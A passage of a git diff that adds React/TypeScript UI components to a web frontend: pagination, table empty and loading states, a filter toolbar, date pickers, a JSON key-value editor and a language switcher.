+              <SelectValue placeholder={table.getState().pagination.pageSize} />
+            </SelectTrigger>
+            <SelectContent side='top'>
+              {[10, 20, 30, 40, 50, 100].map((pageSize) => (
+                <SelectItem key={pageSize} value={`${pageSize}`}>
+                  {pageSize}
+                </SelectItem>
+              ))}
+            </SelectContent>
+          </Select>
+          <p className='hidden text-sm font-medium sm:block'>
+            {t('Rows per page')}
+          </p>
+        </div>
+      </div>
+
+      <div className='flex items-center sm:space-x-6 lg:space-x-8'>
+        <div className='flex min-w-[130px] items-center text-sm font-medium whitespace-nowrap @max-3xl/content:hidden'>
+          {t('Page {{current}} of {{total}}', {
+            current: currentPage,
+            total: totalPages,
+          })}
+        </div>
+        <div className='flex items-center space-x-2'>
+          <Button
+            variant='outline'
+            className='size-8 p-0 @max-md/content:hidden'
+            onClick={() => table.setPageIndex(0)}
+            disabled={!table.getCanPreviousPage()}
+          >
+            <span className='sr-only'>{t('Go to first page')}</span>
+            <DoubleArrowLeftIcon className='h-4 w-4' />
+          </Button>
+          <Button
+            variant='outline'
+            className='size-8 p-0'
+            onClick={() => table.previousPage()}
+            disabled={!table.getCanPreviousPage()}
+          >
+            <span className='sr-only'>{t('Go to previous page')}</span>
+            <ChevronLeftIcon className='h-4 w-4' />
+          </Button>
+
+          {/* Page number buttons */}
+          {pageNumbers.map((pageNumber, index) => (
+            <div key={`${pageNumber}-${index}`} className='flex items-center'>
+              {pageNumber === '...' ? (
+                <span className='text-muted-foreground px-1 text-sm'>...</span>
+              ) : (
+                <Button
+                  variant={currentPage === pageNumber ? 'default' : 'outline'}
+                  className='h-8 min-w-8 px-2'
+                  onClick={() => table.setPageIndex((pageNumber as number) - 1)}
+                >
+                  <span className='sr-only'>Go to page {pageNumber}</span>
+                  {pageNumber}
+                </Button>
+              )}
+            </div>
+          ))}
+
+          <Button
+            variant='outline'
+            className='size-8 p-0'
+            onClick={() => table.nextPage()}
+            disabled={!table.getCanNextPage()}
+          >
+            <span className='sr-only'>{t('Go to next page')}</span>
+            <ChevronRightIcon className='h-4 w-4' />
+          </Button>
+          <Button
+            variant='outline'
+            className='size-8 p-0 @max-md/content:hidden'
+            onClick={() => table.setPageIndex(table.getPageCount() - 1)}
+            disabled={!table.getCanNextPage()}
+          >
+            <span className='sr-only'>{t('Go to last page')}</span>
+            <DoubleArrowRightIcon className='h-4 w-4' />
+          </Button>
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/data-table/table-empty.tsx b/new-api/web/default/src/components/data-table/table-empty.tsx
new file mode 100644
index 0000000..a16eaf3
--- /dev/null
+++ b/new-api/web/default/src/components/data-table/table-empty.tsx
@@ -0,0 +1,69 @@
+import { Database } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import {
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyMedia,
+  EmptyTitle,
+} from '@/components/ui/empty'
+import { TableRow, TableCell } from '@/components/ui/table'
+
+interface TableEmptyProps {
+  /**
+   * Number of columns to span
+   */
+  colSpan: number
+  /**
+   * Custom title for empty state
+   * @default 'No Data'
+   */
+  title?: string
+  /**
+   * Custom description for empty state
+   * @default 'No records found. Try adjusting your filters.'
+   */
+  description?: string
+  /**
+   * Custom icon component
+   * @default Database icon
+   */
+  icon?: React.ReactNode
+  /**
+   * Additional content to display (e.g., buttons)
+   */
+  children?: React.ReactNode
+}
+
+/**
+ * Generic table empty state component
+ * Displays a centered empty state message when table has no data
+ */
+export function TableEmpty({
+  colSpan,
+  title,
+  description,
+  icon,
+  children,
+}: TableEmptyProps) {
+  const { t } = useTranslation()
+  const resolvedTitle = title ?? t('No Data')
+  const resolvedDescription =
+    description ?? t('No records found. Try adjusting your filters.')
+  return (
+    <TableRow>
+      <TableCell colSpan={colSpan} className='h-[400px] p-0'>
+        <Empty>
+          <EmptyHeader>
+            <EmptyMedia variant='icon'>
+              {icon || <Database className='size-6' />}
+            </EmptyMedia>
+            <EmptyTitle>{resolvedTitle}</EmptyTitle>
+            <EmptyDescription>{resolvedDescription}</EmptyDescription>
+          </EmptyHeader>
+          {children}
+        </Empty>
+      </TableCell>
+    </TableRow>
+  )
+}
diff --git a/new-api/web/default/src/components/data-table/table-skeleton.tsx b/new-api/web/default/src/components/data-table/table-skeleton.tsx
new file mode 100644
index 0000000..5607c91
--- /dev/null
+++ b/new-api/web/default/src/components/data-table/table-skeleton.tsx
@@ -0,0 +1,70 @@
+import type { Table } from '@tanstack/react-table'
+import { cn } from '@/lib/utils'
+import { Skeleton } from '@/components/ui/skeleton'
+import { TableRow, TableCell } from '@/components/ui/table'
+
+const SKELETON_WIDTHS = [
+  '75%',
+  '60%',
+  '85%',
+  '50%',
+  '70%',
+  '90%',
+  '55%',
+  '80%',
+  '65%',
+  '45%',
+]
+
+interface TableSkeletonProps<TData> {
+  table: Table<TData>
+  rowCount?: number
+  rowHeight?: string
+  keyPrefix?: string
+}
+
+export function TableSkeleton<TData>({
+  table,
+  rowCount,
+  rowHeight = 'h-[52px]',
+  keyPrefix = 'skeleton',
+}: TableSkeletonProps<TData>) {
+  const visibleColumns = table.getVisibleLeafColumns()
+
+  const finalRowCount =
+    rowCount ?? Math.min(table.getState().pagination?.pageSize || 20, 20)
+
+  return (
+    <>
+      {Array.from({ length: finalRowCount }, (_, rowIndex) => (
+        <TableRow
+          key={`${keyPrefix}-${rowIndex}`}
+          className={cn(rowHeight, 'border-b')}
+        >
+          {visibleColumns.map((column, colIndex) => {
+            const isSelectColumn = column.id === 'select'
+            const widthIndex =
+              (rowIndex * visibleColumns.length + colIndex) %
+              SKELETON_WIDTHS.length
+
+            return (
+              <TableCell key={column.id} className='py-3'>
+                <Skeleton
+                  className={cn(
+                    'h-4 rounded-sm',
+                    isSelectColumn ? 'size-4' : undefined
+                  )}
+                  style={
+                    isSelectColumn
+                      ? undefined
+                      : { width: SKELETON_WIDTHS[widthIndex] }
+                  }
+                />
+              </TableCell>
+            )
+          })}
+        </TableRow>
+      ))}
+    </>
+  )
+}
diff --git a/new-api/web/default/src/components/data-table/toolbar.tsx b/new-api/web/default/src/components/data-table/toolbar.tsx
new file mode 100644
index 0000000..f842e5c
--- /dev/null
+++ b/new-api/web/default/src/components/data-table/toolbar.tsx
@@ -0,0 +1,153 @@
+import { useState } from 'react'
+import { Cross2Icon } from '@radix-ui/react-icons'
+import { type Table } from '@tanstack/react-table'
+import { SlidersHorizontal } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { DataTableFacetedFilter } from './faceted-filter'
+import { DataTableViewOptions } from './view-options'
+
+type DataTableToolbarProps<TData> = {
+  table: Table<TData>
+  searchPlaceholder?: string
+  searchKey?: string
+  filters?: {
+    columnId: string
+    title: string
+    options: {
+      label: string
+      value: string
+      icon?: React.ComponentType<{ className?: string }>
+      iconNode?: React.ReactNode
+      count?: number
+    }[]
+    singleSelect?: boolean
+  }[]
+  /** Custom search component to replace the default input */
+  customSearch?: React.ReactNode
+  /** Additional search input to show alongside the main search */
+  additionalSearch?: React.ReactNode
+  /** Whether additional filters are active (for showing reset button) */
+  hasAdditionalFilters?: boolean
+  /** Callback when reset button is clicked (for clearing additional filters) */
+  onReset?: () => void
+}
+
+export function DataTableToolbar<TData>({
+  table,
+  searchPlaceholder,
+  searchKey,
+  filters = [],
+  customSearch,
+  additionalSearch,
+  hasAdditionalFilters = false,
+  onReset,
+}: DataTableToolbarProps<TData>) {
+  const { t } = useTranslation()
+  const [mobileFiltersOpen, setMobileFiltersOpen] = useState(false)
+  const resolvedSearchPlaceholder = searchPlaceholder ?? t('Filter...')
+  const isFiltered =
+    table.getState().columnFilters.length > 0 ||
+    table.getState().globalFilter ||
+    hasAdditionalFilters
+
+  const activeFilterCount =
+    table.getState().columnFilters.length + (hasAdditionalFilters ? 1 : 0)
+  const hasFilterContent = filters.length > 0 || additionalSearch != null
+
+  const searchInput = searchKey ? (
+    <Input
+      placeholder={resolvedSearchPlaceholder}
+      value={(table.getColumn(searchKey)?.getFilterValue() as string) ?? ''}
+      onChange={(event) =>
+        table.getColumn(searchKey)?.setFilterValue(event.target.value)
+      }
+      className='h-8 w-full sm:w-[150px] lg:w-[250px]'
+    />
+  ) : (
+    <Input
+      placeholder={resolvedSearchPlaceholder}
+      value={table.getState().globalFilter ?? ''}
+      onChange={(event) => table.setGlobalFilter(event.target.value)}
+      className='h-8 w-full sm:w-[150px] lg:w-[250px]'
+    />
+  )
+
+  const filterChips = filters.map((filter) => {
+    const column = table.getColumn(filter.columnId)
+    if (!column) return null
+    return (
+      <DataTableFacetedFilter
+        key={filter.columnId}
+        column={column}
+        title={filter.title}
+        options={filter.options}
+        singleSelect={filter.singleSelect}
+      />
+    )
+  })
+
+  const resetButton = isFiltered ? (
+    <Button
+      variant='ghost'
+      onClick={() => {
+        table.resetColumnFilters()
+        table.setGlobalFilter('')
+        onReset?.()
+      }}
+      className='h-8 px-2 lg:px-3'
+    >
+      {t('Reset')}
+      <Cross2Icon className='ms-2 h-4 w-4' />
+    </Button>
+  ) : null
+
+  return (
+    <div className='space-y-2'>
+      <div className='flex items-center gap-2'>
+        {/* Search input */}
+        {customSearch !== undefined ? customSearch : searchInput}
+
+        {/* Desktop: filters inline */}
+        {additionalSearch && (
+          <div className='hidden w-auto sm:block'>{additionalSearch}</div>
+        )}
+        <div className='hidden flex-wrap gap-2 sm:flex'>{filterChips}</div>
+        <div className='hidden sm:block'>{resetButton}</div>
+
+        {/* Mobile: filter toggle button */}
+        {hasFilterContent && (
+          <Button
+            variant='outline'
+            size='sm'
+            className='relative h-8 shrink-0 gap-1 sm:hidden'
+            onClick={() => setMobileFiltersOpen((v) => !v)}
+          >
+            <SlidersHorizontal className='h-3.5 w-3.5' />
+            {activeFilterCount > 0 && (
+              <Badge
+                variant='secondary'
+                className='h-4 min-w-4 rounded-full px-1 text-[10px] leading-none'
+              >
+                {activeFilterCount}
+              </Badge>
+            )}
+          </Button>
+        )}
+
+        <DataTableViewOptions table={table} />
+      </div>
+
+      {/* Mobile: collapsible filter area */}
+      {hasFilterContent && mobileFiltersOpen && (
+        <div className='flex flex-wrap items-center gap-2 sm:hidden'>
+          {additionalSearch && <div className='w-full'>{additionalSearch}</div>}
+          {filterChips}
+          {resetButton}
+        </div>
+      )}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/data-table/view-options.tsx b/new-api/web/default/src/components/data-table/view-options.tsx
new file mode 100644
index 0000000..ba99dbf
--- /dev/null
+++ b/new-api/web/default/src/components/data-table/view-options.tsx
@@ -0,0 +1,58 @@
+import { DropdownMenuTrigger } from '@radix-ui/react-dropdown-menu'
+import { MixerHorizontalIcon } from '@radix-ui/react-icons'
+import { type Table } from '@tanstack/react-table'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuLabel,
+  DropdownMenuSeparator,
+} from '@/components/ui/dropdown-menu'
+
+type DataTableViewOptionsProps<TData> = {
+  table: Table<TData>
+}
+
+export function DataTableViewOptions<TData>({
+  table,
+}: DataTableViewOptionsProps<TData>) {
+  const { t } = useTranslation()
+  return (
+    <DropdownMenu modal={false}>
+      <DropdownMenuTrigger asChild>
+        <Button
+          variant='outline'
+          size='sm'
+          className='ms-auto hidden h-8 lg:flex'
+        >
+          <MixerHorizontalIcon className='size-4' />
+          {t('View')}
+        </Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align='end' className='w-[150px]'>
+        <DropdownMenuLabel>{t('Toggle columns')}</DropdownMenuLabel>
+        <DropdownMenuSeparator />
+        {table
+          .getAllColumns()
+          .filter(
+            (column) =>
+              typeof column.accessorFn !== 'undefined' && column.getCanHide()
+          )
+          .map((column) => {
+            return (
+              <DropdownMenuCheckboxItem
+                key={column.id}
+                className='capitalize'
+                checked={column.getIsVisible()}
+                onCheckedChange={(value) => column.toggleVisibility(!!value)}
+              >
+                {column.columnDef.meta?.label ?? column.id}
+              </DropdownMenuCheckboxItem>
+            )
+          })}
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
diff --git a/new-api/web/default/src/components/date-picker.tsx b/new-api/web/default/src/components/date-picker.tsx
new file mode 100644
index 0000000..1eab552
--- /dev/null
+++ b/new-api/web/default/src/components/date-picker.tsx
@@ -0,0 +1,67 @@
+import { Calendar as CalendarIcon } from 'lucide-react'
+import { enUS, fr, ja, ru, vi, zhCN } from 'react-day-picker/locale'
+import { useTranslation } from 'react-i18next'
+import dayjs from '@/lib/dayjs'
+import { Button } from '@/components/ui/button'
+import { Calendar } from '@/components/ui/calendar'
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from '@/components/ui/popover'
+
+const calendarLocales = {
+  en: enUS,
+  zh: zhCN,
+  fr,
+  ru,
+  ja,
+  vi,
+} as const
+
+type DatePickerProps = {
+  selected: Date | undefined
+  onSelect: (date: Date | undefined) => void
+  placeholder?: string
+}
+
+export function DatePicker({
+  selected,
+  onSelect,
+  placeholder,
+}: DatePickerProps) {
+  const { t, i18n } = useTranslation()
+  const placeholderText = placeholder ?? t('Pick a date')
+  const calendarLocale =
+    calendarLocales[i18n.language as keyof typeof calendarLocales] ?? enUS
+  return (
+    <Popover>
+      <PopoverTrigger asChild>
+        <Button
+          variant='outline'
+          data-empty={!selected}
+          className='data-[empty=true]:text-muted-foreground w-[240px] justify-start text-start font-normal'
+        >
+          {selected ? (
+            dayjs(selected).format('YYYY-MM-DD')
+          ) : (
+            <span>{placeholderText}</span>
+          )}
+          <CalendarIcon className='ms-auto h-4 w-4 opacity-50' />
+        </Button>
+      </PopoverTrigger>
+      <PopoverContent className='w-auto p-0'>
+        <Calendar
+          mode='single'
+          captionLayout='dropdown'
+          selected={selected}
+          onSelect={onSelect}
+          locale={calendarLocale}
+          disabled={(date: Date) =>
+            date > new Date() || date < new Date('1900-01-01')
+          }
+        />
+      </PopoverContent>
+    </Popover>
+  )
+}
diff --git a/new-api/web/default/src/components/datetime-picker.tsx b/new-api/web/default/src/components/datetime-picker.tsx
new file mode 100644
index 0000000..ac0e186
--- /dev/null
+++ b/new-api/web/default/src/components/datetime-picker.tsx
@@ -0,0 +1,141 @@
+import * as React from 'react'
+import { ChevronDownIcon } from 'lucide-react'
+import { enUS, fr, ja, ru, vi, zhCN } from 'react-day-picker/locale'
+import { useTranslation } from 'react-i18next'
+import dayjs from '@/lib/dayjs'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import { Calendar } from '@/components/ui/calendar'
+import { Input } from '@/components/ui/input'
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from '@/components/ui/popover'
+
+const calendarLocales = {
+  en: enUS,
+  zh: zhCN,
+  fr,
+  ru,
+  ja,
+  vi,
+} as const
+
+interface DateTimePickerProps {
+  value?: Date
+  onChange?: (date: Date | undefined) => void
+  placeholder?: string
+  className?: string
+}
+
+export function DateTimePicker({
+  value,
+  onChange,
+  placeholder,
+  className,
+}: DateTimePickerProps) {
+  const { t, i18n } = useTranslation()
+  const placeholderText = placeholder ?? t('Select date')
+  const calendarLocale =
+    calendarLocales[i18n.language as keyof typeof calendarLocales] ?? enUS
+  const [open, setOpen] = React.useState(false)
+  const [date, setDate] = React.useState<Date | undefined>(value)
+  const [month, setMonth] = React.useState<Date | undefined>(value)
+  const [time, setTime] = React.useState<string>('00:00')
+
+  React.useEffect(() => {
+    setDate(value)
+    setMonth(value)
+    if (value) {
+      const hours = value.getHours().toString().padStart(2, '0')
+      const minutes = value.getMinutes().toString().padStart(2, '0')
+      setTime(`${hours}:${minutes}`)
+    }
+  }, [value])
+
+  const handleDateSelect = (selectedDate: Date | undefined) => {
+    if (selectedDate) {
+      const [hours, minutes] = time.split(':').map(Number)
+      const newDate = new Date(selectedDate)
+      newDate.setHours(hours, minutes, 0, 0)
+      setDate(newDate)
+      setMonth(newDate)
+      onChange?.(newDate)
+      setOpen(false)
+    } else {
+      setDate(undefined)
+      setMonth(undefined)
+      onChange?.(undefined)
+    }
+  }
+
+  const handleTimeChange = (e: React.ChangeEvent<HTMLInputElement>) => {
+    const newTime = e.target.value
+    setTime(newTime)
+
+    if (date) {
+      const [hours, minutes] = newTime.split(':').map(Number)
+      const newDate = new Date(date)
+      newDate.setHours(hours, minutes, 0, 0)
+      setDate(newDate)
+      onChange?.(newDate)
+    }
+  }
+
+  const handleClear = () => {
+    setDate(undefined)
+    setMonth(undefined)
+    setTime('00:00')
+    onChange?.(undefined)
+  }
+
+  return (
+    <div className={cn('flex gap-2', className)}>
+      <Popover open={open} onOpenChange={setOpen}>
+        <PopoverTrigger asChild>
+          <Button
+            variant='outline'
+            className={cn(
+              'flex-1 justify-between font-normal',
+              !date && 'text-muted-foreground'
+            )}
+          >
+            {date ? dayjs(date).format('YYYY-MM-DD') : placeholderText}
+            <ChevronDownIcon className='h-4 w-4 opacity-50' />
+          </Button>
+        </PopoverTrigger>
+        <PopoverContent className='w-auto overflow-hidden p-0' align='start'>
+          <Calendar
+            mode='single'
+            selected={date}
+            month={month}
+            onMonthChange={setMonth}
+            captionLayout='dropdown'
+            onSelect={handleDateSelect}
+            locale={calendarLocale}
+          />
+        </PopoverContent>
+      </Popover>
+      <Input
+        type='time'
+        value={time}
+        onChange={handleTimeChange}
+        className='w-32 appearance-none [&::-webkit-calendar-picker-indicator]:hidden [&::-webkit-calendar-picker-indicator]:appearance-none'
+        disabled={!date}
+      />
+      {date && (
+        <Button
+          type='button'
+          variant='outline'
+          size='icon'
+          onClick={handleClear}
+          className='shrink-0'
+          aria-label='Clear'
+        >
+          <span aria-hidden='true'>✕</span>
+        </Button>
+      )}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/empty-state.tsx b/new-api/web/default/src/components/empty-state.tsx
new file mode 100644
index 0000000..6b20292
--- /dev/null
+++ b/new-api/web/default/src/components/empty-state.tsx
@@ -0,0 +1,50 @@
+import type { ReactNode } from 'react'
+import { Database, type LucideIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import {
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyMedia,
+  EmptyTitle,
+} from '@/components/ui/empty'
+import { FadeIn } from '@/components/page-transition'
+
+interface EmptyStateProps {
+  icon?: LucideIcon
+  title?: string
+  description?: string
+  action?: ReactNode
+  className?: string
+  bordered?: boolean
+}
+
+export function EmptyState(props: EmptyStateProps) {
+  const { t } = useTranslation()
+  const Icon = props.icon ?? Database
+
+  return (
+    <FadeIn>
+      <Empty
+        className={cn(
+          'min-h-[300px]',
+          props.bordered && 'border',
+          props.className
+        )}
+      >
+        <EmptyHeader>
+          <EmptyMedia variant='icon'>
+            <Icon className='size-6' />
+          </EmptyMedia>
+          <EmptyTitle>{props.title ?? t('No Data')}</EmptyTitle>
+          {props.description != null && (
+            <EmptyDescription>{props.description}</EmptyDescription>
+          )}
+        </EmptyHeader>
+        {props.action != null && <EmptyContent>{props.action}</EmptyContent>}
+      </Empty>
+    </FadeIn>
+  )
+}
diff --git a/new-api/web/default/src/components/error-state.tsx b/new-api/web/default/src/components/error-state.tsx
new file mode 100644
index 0000000..0a335cf
--- /dev/null
+++ b/new-api/web/default/src/components/error-state.tsx
@@ -0,0 +1,54 @@
+import type { ReactNode } from 'react'
+import { AlertTriangle, type LucideIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyMedia,
+  EmptyTitle,
+} from '@/components/ui/empty'
+import { FadeIn } from '@/components/page-transition'
+
+interface ErrorStateProps {
+  icon?: LucideIcon
+  title?: string
+  description?: string
+  onRetry?: () => void
+  action?: ReactNode
+  className?: string
+}
+
+export function ErrorState(props: ErrorStateProps) {
+  const { t } = useTranslation()
+  const Icon = props.icon ?? AlertTriangle
+
+  return (
+    <FadeIn>
+      <Empty className={cn('min-h-[300px]', props.className)}>
+        <EmptyHeader>
+          <EmptyMedia variant='icon'>
+            <Icon className='text-destructive size-6' />
+          </EmptyMedia>
+          <EmptyTitle>
+            {props.title ?? t('Oops! Something went wrong')}
+          </EmptyTitle>
+          {props.description != null && (
+            <EmptyDescription>{props.description}</EmptyDescription>
+          )}
+        </EmptyHeader>
+        <EmptyContent>
+          {props.onRetry != null && (
+            <Button variant='outline' size='sm' onClick={props.onRetry}>
+              {t('Retry')}
+            </Button>
+          )}
+          {props.action}
+        </EmptyContent>
+      </Empty>
+    </FadeIn>
+  )
+}
diff --git a/new-api/web/default/src/components/json-editor.tsx b/new-api/web/default/src/components/json-editor.tsx
new file mode 100644
index 0000000..e38f446
--- /dev/null
+++ b/new-api/web/default/src/components/json-editor.tsx
@@ -0,0 +1,281 @@
+import { useState, useEffect } from 'react'
+import { Code, Table, Plus, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Textarea } from '@/components/ui/textarea'
+
+type JsonEditorProps = {
+  value: string
+  onChange: (value: string) => void
+  disabled?: boolean
+  keyPlaceholder?: string
+  valuePlaceholder?: string
+  keyLabel?: string
+  valueLabel?: string
+  emptyMessage?: string
+  template?: Record<string, unknown>
+  valueType?: 'string' | 'number' | 'any'
+}
+
+type EditorRow = {
+  id: string
+  key: string
+  value: string
+}
+
+export function JsonEditor({
+  value,
+  onChange,
+  disabled = false,
+  keyPlaceholder,
+  valuePlaceholder,
+  keyLabel,
+  valueLabel,
+  emptyMessage,
+  template,
+  valueType = 'string',
+}: JsonEditorProps) {
+  const { t } = useTranslation()
+  const resolvedEmptyMessage =
+    emptyMessage ?? t('No mappings configured. Click "Add Row" to get started.')
+  const resolvedKeyPlaceholder = keyPlaceholder ?? t('Key')
+  const resolvedValuePlaceholder = valuePlaceholder ?? t('Value')
+  const resolvedKeyLabel = keyLabel ?? t('Key')
+  const resolvedValueLabel = valueLabel ?? t('Value')
+  const [mode, setMode] = useState<'visual' | 'json'>('visual')
+  const [rows, setRows] = useState<EditorRow[]>([])
+  const [jsonValue, setJsonValue] = useState(value)
+
+  const parseJsonToRows = (json: string) => {
+    try {
+      if (!json.trim()) {
+        setRows([])
+        return
+      }
+      const parsed = JSON.parse(json)
+      const newRows: EditorRow[] = Object.entries(parsed).map(
+        ([key, val], index) => ({
+          id: `${Date.now()}-${index}`,
+          key,
+          value: typeof val === 'object' ? JSON.stringify(val) : String(val),
+        })
+      )
+      setRows(newRows)
+    } catch (_error) {
+      // Invalid JSON, keep current rows
+    }
+  }
+
+  // Parse JSON to rows when value changes externally
+  useEffect(() => {
+    if (value !== jsonValue) {
+      setJsonValue(value)
+      parseJsonToRows(value)
+    }
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [value])
+
+  const convertRowsToJson = (updatedRows: EditorRow[]): string => {
+    if (updatedRows.length === 0) {
+      return ''
+    }
+    const obj: Record<string, unknown> = {}
+    updatedRows.forEach((row) => {
+      if (row.key.trim()) {
+        let parsedValue: unknown = row.value.trim()
+
+        // Try to parse value based on type
+        if (valueType === 'number') {
+          parsedValue = Number(parsedValue) || 0
+        } else if (valueType === 'any') {
+          // Try to parse as JSON first
+          try {
+            parsedValue = JSON.parse(row.value)
+          } catch {
+            // If not valid JSON, keep as string
+            parsedValue = row.value.trim()
+          }
+        }
+
+        obj[row.key.trim()] = parsedValue
+      }
+    })
+    return JSON.stringify(obj, null, 2)
+  }
+
+  const handleAddRow = () => {
+    const newRow: EditorRow = {
+      id: `${Date.now()}`,
+      key: '',
+      value: '',
+    }
+    const updatedRows = [...rows, newRow]
+    setRows(updatedRows)
+  }
+
+  const handleDeleteRow = (id: string) => {
+    const updatedRows = rows.filter((row) => row.id !== id)
+    setRows(updatedRows)
+    const json = convertRowsToJson(updatedRows)
+    setJsonValue(json)
+    onChange(json)
+  }
+
+  const handleRowChange = (
+    id: string,
+    field: 'key' | 'value',
+    newValue: string
+  ) => {
+    const updatedRows = rows.map((row) =>
+      row.id === id ? { ...row, [field]: newValue } : row
+    )
+    setRows(updatedRows)
+    const json = convertRowsToJson(updatedRows)
+    setJsonValue(json)
+    onChange(json)
+  }
+
+  const handleJsonChange = (newJson: string) => {
+    setJsonValue(newJson)
+    onChange(newJson)
+    parseJsonToRows(newJson)
+  }
+
+  const handleFillTemplate = () => {
+    if (!template) return
+    const templateJson = JSON.stringify(template, null, 2)
+    setJsonValue(templateJson)
+    onChange(templateJson)
+    parseJsonToRows(templateJson)
+  }
+
+  const toggleMode = () => {
+    if (mode === 'visual') {
+      // Switching to JSON mode: sync rows to JSON
+      const json = convertRowsToJson(rows)
+      setJsonValue(json)
+      onChange(json)
+      setMode('json')
+    } else {
+      // Switching to visual mode: sync JSON to rows
+      parseJsonToRows(jsonValue)
+      setMode('visual')
+    }
+  }
+
+  return (
+    <div className='space-y-2'>
+      <div className='flex items-center justify-between'>
+        <div className='flex gap-2'>
+          <Button
+            type='button'
+            variant='outline'
+            size='sm'
+            onClick={toggleMode}
+            disabled={disabled}
+          >
+            {mode === 'visual' ? (
+              <>
+                <Code className='mr-2 h-4 w-4' />
+                {t('JSON Mode')}
+              </>
+            ) : (
+              <>
+                <Table className='mr-2 h-4 w-4' />
+                {t('Visual Mode')}
+              </>
+            )}
+          </Button>
+          {template && (
+            <Button
+              type='button'
+              variant='link'
+              size='sm'
+              className='h-auto p-0'
+              onClick={handleFillTemplate}
+              disabled={disabled}
+            >
+              {t('Fill Template')}
+            </Button>
+          )}
+        </div>
+      </div>
+
+      {mode === 'visual' ? (
+        <div className='space-y-2'>
+          {rows.length > 0 ? (
+            <div className='space-y-2'>
+              <div className='grid grid-cols-[1fr_1fr_auto] gap-2 text-sm font-medium'>
+                <div>{resolvedKeyLabel}</div>
+                <div>{resolvedValueLabel}</div>
+                <div className='w-10'></div>
+              </div>
+              {rows.map((row) => (
+                <div
+                  key={row.id}
+                  className='grid grid-cols-[1fr_1fr_auto] gap-2'
+                >
+                  <Input
+                    value={row.key}
+                    onChange={(e) =>
+                      handleRowChange(row.id, 'key', e.target.value)
+                    }
+                    placeholder={resolvedKeyPlaceholder}
+                    disabled={disabled}
+                  />
+                  <Input
+                    value={row.value}
+                    onChange={(e) =>
+                      handleRowChange(row.id, 'value', e.target.value)
+                    }
+                    placeholder={resolvedValuePlaceholder}
+                    disabled={disabled}
+                  />
+                  <Button
+                    type='button'
+                    variant='ghost'
+                    size='icon'
+                    aria-label='Delete row'
+                    onClick={() => handleDeleteRow(row.id)}
+                    disabled={disabled}
+                    className='h-10 w-10'
+                  >
+                    <Trash2 className='h-4 w-4' aria-hidden='true' />
+                  </Button>
+                </div>
+              ))}
+            </div>
+          ) : (
+            <div className='text-muted-foreground flex h-24 items-center justify-center rounded-md border border-dashed text-sm'>
+              {resolvedEmptyMessage}
+            </div>
+          )}
+          <Button
+            type='button'
+            variant='outline'
+            size='sm'
+            onClick={handleAddRow}
+            disabled={disabled}
+            className='w-full'
+          >
+            <Plus className='mr-2 h-4 w-4' />
+            {t('Add Row')}
+          </Button>
+        </div>
+      ) : (
+        <Textarea
+          value={jsonValue}
+          onChange={(e) => handleJsonChange(e.target.value)}
+          placeholder={
+            template ? JSON.stringify(template, null, 2) : '{"key": "value"}'
+          }
+          disabled={disabled}
+          rows={8}
+          className={cn('font-mono text-sm')}
+        />
+      )}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/language-switcher.tsx b/new-api/web/default/src/components/language-switcher.tsx
new file mode 100644
index 0000000..7d41689
--- /dev/null
+++ b/new-api/web/default/src/components/language-switcher.tsx
@@ -0,0 +1,66 @@
+import { useCallback } from 'react'
+import { Languages, Check } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { useAuthStore } from '@/stores/auth-store'
+import { api } from '@/lib/api'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+
+const languages = [
+  { code: 'en', label: 'English' },
+  { code: 'zh', label: '中文' },
+  { code: 'fr', label: 'Français' },
+  { code: 'ru', label: 'Русский' },
+  { code: 'ja', label: '日本語' },
+  { code: 'vi', label: 'Tiếng Việt' },
+]
+
+export function LanguageSwitcher() {
+  const { i18n, t } = useTranslation()
+  const user = useAuthStore((s) => s.auth.user)
+
+  const handleChangeLanguage = useCallback(
+    async (code: string) => {
+      await i18n.changeLanguage(code)
+      if (user) {
+        try {
+          await api.put('/api/user/self', { language: code })
+        } catch {
+          // Best-effort persistence; don't block the UI on failure
+        }
+      }
+    },
+    [i18n, user]
+  )
+
+  return (
+    <DropdownMenu modal={false}>
+      <DropdownMenuTrigger asChild>
+        <Button variant='ghost' size='icon' className='h-9 w-9 rounded-full'>
+          <Languages className='size-[1.2rem]' />
+          <span className='sr-only'>{t('Change language')}</span>
+        </Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align='end'>
+        {languages.map((lang) => (
+          <DropdownMenuItem
+            key={lang.code}
+            onClick={() => handleChangeLanguage(lang.code)}
+          >
+            {lang.label}
+            <Check
+              size={14}
+              className={cn('ms-auto', i18n.language !== lang.code && 'hidden')}
+            />
+          </DropdownMenuItem>
+        ))}
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/app-header.tsx b/new-api/web/default/src/components/layout/components/app-header.tsx
new file mode 100644
